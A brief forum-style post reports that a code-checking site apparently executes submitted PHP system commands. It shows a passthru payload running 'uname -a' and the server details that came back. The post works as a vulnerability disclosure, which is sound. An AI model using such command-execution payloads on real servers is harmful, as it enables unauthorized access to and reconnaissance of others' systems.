Did anyone else notice that this site is allowing for passthru commands to be executed on the server? The following code:

<?php passthru("/bin/uname -a") ?>

Results in: Linux checker 2.6.34 #6 SMP Fri Jan 21 15:21:52 CET 2011 i686 GNU/Linux